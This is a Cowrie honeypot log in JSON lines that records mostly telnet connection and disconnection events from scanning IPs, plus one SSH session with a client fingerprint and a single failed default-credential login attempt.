{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57000,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b2e1b2cc654","protocol":"telnet","message":"New connection: 69.6.225.50:57000 (159.203.135.109:23) [session: 9b2e1b2cc654]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:40.536990Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57004,"dst_ip":"159.203.135.109","dst_port":23,"session":"b066d9064c6c","protocol":"telnet","message":"New connection: 69.6.225.50:57004 (159.203.135.109:23) [session: b066d9064c6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:40.605487Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57018,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4ccfd78c9c2","protocol":"telnet","message":"New connection: 69.6.225.50:57018 (159.203.135.109:23) [session: a4ccfd78c9c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:40.738373Z"}
{"eventid":"cowrie.session.closed","duration":31.21502423286438,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:40.805894Z","src_ip":"69.6.225.50","session":"9aa03a26bb72","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:41.034281Z","src_ip":"159.203.92.129","session":"7b7d4c0fe01b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.657951831817627,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:41.068884Z","src_ip":"69.6.225.50","session":"39b07640ded9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.877061367034912,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:41.101033Z","src_ip":"69.6.225.50","session":"695939ccfc34","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57024,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c9ff1fc3c46","protocol":"telnet","message":"New connection: 69.6.225.50:57024 (159.203.135.109:23) [session: 4c9ff1fc3c46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:41.345856Z"}
{"eventid":"cowrie.session.closed","duration":30.625160217285156,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:41.472352Z","src_ip":"69.6.225.50","session":"239498922fd3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57032,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4dc67e828b0","protocol":"telnet","message":"New connection: 69.6.225.50:57032 (159.203.135.109:23) [session: b4dc67e828b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:41.623661Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":54628,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8a73916ef40","protocol":"telnet","message":"New connection: 144.79.218.12:54628 (10.17.0.5:23) [session: a8a73916ef40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:41.881383Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57046,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd4f8acbf65b","protocol":"telnet","message":"New connection: 69.6.225.50:57046 (159.203.135.109:23) [session: bd4f8acbf65b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:41.942884Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57048,"dst_ip":"159.203.135.109","dst_port":23,"session":"2060ed76583d","protocol":"telnet","message":"New connection: 69.6.225.50:57048 (159.203.135.109:23) [session: 2060ed76583d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:42.346038Z"}
{"eventid":"cowrie.session.closed","duration":36.52830719947815,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:42.476869Z","src_ip":"144.79.218.12","session":"0241c540b632","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57054,"dst_ip":"159.203.135.109","dst_port":23,"session":"805f8914e86b","protocol":"telnet","message":"New connection: 69.6.225.50:57054 (159.203.135.109:23) [session: 805f8914e86b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:42.545721Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":54642,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ee3b4fe25d7","protocol":"telnet","message":"New connection: 144.79.218.12:54642 (10.17.0.5:23) [session: 9ee3b4fe25d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:42.927736Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":54650,"dst_ip":"10.17.0.5","dst_port":23,"session":"c475db856eae","protocol":"telnet","message":"New connection: 144.79.218.12:54650 (10.17.0.5:23) [session: c475db856eae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:43.057509Z"}
{"eventid":"cowrie.session.closed","duration":30.890474796295166,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:43.109163Z","src_ip":"69.6.225.50","session":"833cc099d3d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57066,"dst_ip":"159.203.135.109","dst_port":23,"session":"dceb9b45f61c","protocol":"telnet","message":"New connection: 69.6.225.50:57066 (159.203.135.109:23) [session: dceb9b45f61c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:43.351010Z"}
{"eventid":"cowrie.session.closed","duration":31.23893165588379,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:43.396327Z","src_ip":"69.6.225.50","session":"8a825eb8ac29","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.175015449523926,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:43.659883Z","src_ip":"69.6.225.50","session":"11fdd5251d6c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57070,"dst_ip":"159.203.135.109","dst_port":23,"session":"e5042d5bcd33","protocol":"telnet","message":"New connection: 69.6.225.50:57070 (159.203.135.109:23) [session: e5042d5bcd33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:43.666017Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57084,"dst_ip":"159.203.135.109","dst_port":23,"session":"65c3f2ef58c4","protocol":"telnet","message":"New connection: 69.6.225.50:57084 (159.203.135.109:23) [session: 65c3f2ef58c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:43.883732Z"}
{"eventid":"cowrie.session.closed","duration":30.41862463951111,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:44.051687Z","src_ip":"69.6.225.50","session":"e53d88d083eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.41776394844055,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:45.014111Z","src_ip":"69.6.225.50","session":"301c5f6fac7c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.40689492225647,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:45.116327Z","src_ip":"69.6.225.50","session":"6081ac5970ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57094,"dst_ip":"159.203.135.109","dst_port":23,"session":"0fe41e1c6812","protocol":"telnet","message":"New connection: 69.6.225.50:57094 (159.203.135.109:23) [session: 0fe41e1c6812]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:45.382823Z"}
{"eventid":"cowrie.session.closed","duration":30.686249494552612,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:45.528316Z","src_ip":"69.6.225.50","session":"36d134c57d25","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57104,"dst_ip":"159.203.135.109","dst_port":23,"session":"a53a20e07d75","protocol":"telnet","message":"New connection: 69.6.225.50:57104 (159.203.135.109:23) [session: a53a20e07d75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:45.741745Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57116,"dst_ip":"159.203.135.109","dst_port":23,"session":"de19b4aa1445","protocol":"telnet","message":"New connection: 69.6.225.50:57116 (159.203.135.109:23) [session: de19b4aa1445]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:45.765756Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":54660,"dst_ip":"10.17.0.5","dst_port":23,"session":"1483c304be52","protocol":"telnet","message":"New connection: 144.79.218.12:54660 (10.17.0.5:23) [session: 1483c304be52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:46.377883Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57132,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd2885fec685","protocol":"telnet","message":"New connection: 69.6.225.50:57132 (159.203.135.109:23) [session: dd2885fec685]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:46.574233Z"}
{"eventid":"cowrie.session.closed","duration":35.260173082351685,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:46.714023Z","src_ip":"144.79.218.12","session":"f22e1d6d8a23","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":52536,"dst_ip":"159.203.135.109","dst_port":22,"session":"f28a4ee6d9ad","protocol":"ssh","message":"New connection: 68.183.236.1:52536 (159.203.135.109:22) [session: f28a4ee6d9ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:46.741036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:46.747761Z","src_ip":"68.183.236.1","session":"f28a4ee6d9ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57148,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7a10928026d","protocol":"telnet","message":"New connection: 69.6.225.50:57148 (159.203.135.109:23) [session: e7a10928026d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:46.855371Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:47.007954Z","src_ip":"68.183.236.1","session":"f28a4ee6d9ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.310941696166992,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:47.049438Z","src_ip":"69.6.225.50","session":"ae5212506be9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57156,"dst_ip":"159.203.135.109","dst_port":23,"session":"720afffbdd09","protocol":"telnet","message":"New connection: 69.6.225.50:57156 (159.203.135.109:23) [session: 720afffbdd09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:47.093677Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57160,"dst_ip":"159.203.135.109","dst_port":23,"session":"be7c4f2adb3b","protocol":"telnet","message":"New connection: 69.6.225.50:57160 (159.203.135.109:23) [session: be7c4f2adb3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:47.417904Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57164,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b2d0772cd63","protocol":"telnet","message":"New connection: 69.6.225.50:57164 (159.203.135.109:23) [session: 2b2d0772cd63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:47.430641Z"}
{"eventid":"cowrie.session.closed","duration":35.865458965301514,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:47.946871Z","src_ip":"144.79.218.12","session":"876532e776db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":54666,"dst_ip":"10.17.0.5","dst_port":23,"session":"8cac7bad30c3","protocol":"telnet","message":"New connection: 144.79.218.12:54666 (10.17.0.5:23) [session: 8cac7bad30c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:48.031299Z"}
{"eventid":"cowrie.session.closed","duration":30.6676344871521,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:48.058071Z","src_ip":"69.6.225.50","session":"33a53683f2e2","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysqlpass","message":"login attempt [mysql/mysqlpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:48.064593Z","src_ip":"68.183.236.1","session":"f28a4ee6d9ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":54668,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9521dc64462","protocol":"telnet","message":"New connection: 144.79.218.12:54668 (10.17.0.5:23) [session: b9521dc64462]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:48.107662Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55172,"dst_ip":"159.203.135.109","dst_port":23,"session":"e141fb11e669","protocol":"telnet","message":"New connection: 69.6.225.50:55172 (159.203.135.109:23) [session: e141fb11e669]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:48.209857Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":39986,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8bcddec7abf","protocol":"telnet","message":"New connection: 5.61.90.139:39986 (10.17.0.5:23) [session: e8bcddec7abf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:48.272296Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55202,"dst_ip":"159.203.135.109","dst_port":23,"session":"49ab8ed6f8f6","protocol":"telnet","message":"New connection: 69.6.225.50:55202 (159.203.135.109:23) [session: 49ab8ed6f8f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:48.342452Z"}
{"eventid":"cowrie.session.closed","duration":36.21016573905945,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:48.433894Z","src_ip":"144.79.218.12","session":"11a38663291d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55206,"dst_ip":"159.203.135.109","dst_port":23,"session":"adb64da25d6e","protocol":"telnet","message":"New connection: 69.6.225.50:55206 (159.203.135.109:23) [session: adb64da25d6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:48.604985Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":54682,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c43876620c3","protocol":"telnet","message":"New connection: 144.79.218.12:54682 (10.17.0.5:23) [session: 3c43876620c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:48.684737Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55220,"dst_ip":"159.203.135.109","dst_port":23,"session":"777382e3a3ba","protocol":"telnet","message":"New connection: 69.6.225.50:55220 (159.203.135.109:23) [session: 777382e3a3ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:49.022526Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55236,"dst_ip":"159.203.135.109","dst_port":23,"session":"f97aba9689df","protocol":"telnet","message":"New connection: 69.6.225.50:55236 (159.203.135.109:23) [session: f97aba9689df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:49.030215Z"}
{"eventid":"cowrie.session.closed","duration":30.658114671707153,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:49.054857Z","src_ip":"69.6.225.50","session":"acdd147aff4f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:49.320602Z","src_ip":"68.183.236.1","session":"f28a4ee6d9ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55186,"dst_ip":"159.203.135.109","dst_port":23,"session":"6262275803f1","protocol":"telnet","message":"New connection: 69.6.225.50:55186 (159.203.135.109:23) [session: 6262275803f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:49.351783Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55250,"dst_ip":"159.203.135.109","dst_port":23,"session":"94ffa6360190","protocol":"telnet","message":"New connection: 69.6.225.50:55250 (159.203.135.109:23) [session: 94ffa6360190]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:49.394198Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55264,"dst_ip":"159.203.135.109","dst_port":23,"session":"81305c9aba67","protocol":"telnet","message":"New connection: 69.6.225.50:55264 (159.203.135.109:23) [session: 81305c9aba67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:49.456406Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55274,"dst_ip":"159.203.135.109","dst_port":23,"session":"225c9f478264","protocol":"telnet","message":"New connection: 69.6.225.50:55274 (159.203.135.109:23) [session: 225c9f478264]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:49.698668Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55276,"dst_ip":"159.203.135.109","dst_port":23,"session":"32b24ea898fe","protocol":"telnet","message":"New connection: 69.6.225.50:55276 (159.203.135.109:23) [session: 32b24ea898fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:49.740787Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55286,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac1410282867","protocol":"telnet","message":"New connection: 69.6.225.50:55286 (159.203.135.109:23) [session: ac1410282867]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:49.896644Z"}
{"eventid":"cowrie.session.closed","duration":30.968876600265503,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:50.051160Z","src_ip":"69.6.225.50","session":"9f6d1596d915","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.32791519165039,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:50.090788Z","src_ip":"69.6.225.50","session":"fe75a1f10a82","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.77043843269348,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:50.115061Z","src_ip":"69.6.225.50","session":"6e5ec837ba64","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.781609535217285,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:50.803771Z","src_ip":"144.79.218.12","session":"d6136db21a4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.101242303848267,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:51.065773Z","src_ip":"69.6.225.50","session":"febe134660a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.665446281433105,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:51.070838Z","src_ip":"69.6.225.50","session":"84850327119a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.452611207962036,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:51.091486Z","src_ip":"69.6.225.50","session":"b4c7415cbbbb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55298,"dst_ip":"159.203.135.109","dst_port":23,"session":"935be6a3e64b","protocol":"telnet","message":"New connection: 69.6.225.50:55298 (159.203.135.109:23) [session: 935be6a3e64b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:51.211494Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55324,"dst_ip":"159.203.135.109","dst_port":23,"session":"33cc7816e9b9","protocol":"telnet","message":"New connection: 69.6.225.50:55324 (159.203.135.109:23) [session: 33cc7816e9b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:51.366099Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55328,"dst_ip":"159.203.135.109","dst_port":23,"session":"880deec58d1a","protocol":"telnet","message":"New connection: 69.6.225.50:55328 (159.203.135.109:23) [session: 880deec58d1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:51.571291Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55340,"dst_ip":"159.203.135.109","dst_port":23,"session":"d98e946f373b","protocol":"telnet","message":"New connection: 69.6.225.50:55340 (159.203.135.109:23) [session: d98e946f373b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:51.695500Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55346,"dst_ip":"159.203.135.109","dst_port":23,"session":"75a18e1c4cdc","protocol":"telnet","message":"New connection: 69.6.225.50:55346 (159.203.135.109:23) [session: 75a18e1c4cdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:51.756654Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55360,"dst_ip":"159.203.135.109","dst_port":23,"session":"1650430cd61d","protocol":"telnet","message":"New connection: 69.6.225.50:55360 (159.203.135.109:23) [session: 1650430cd61d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:52.052629Z"}
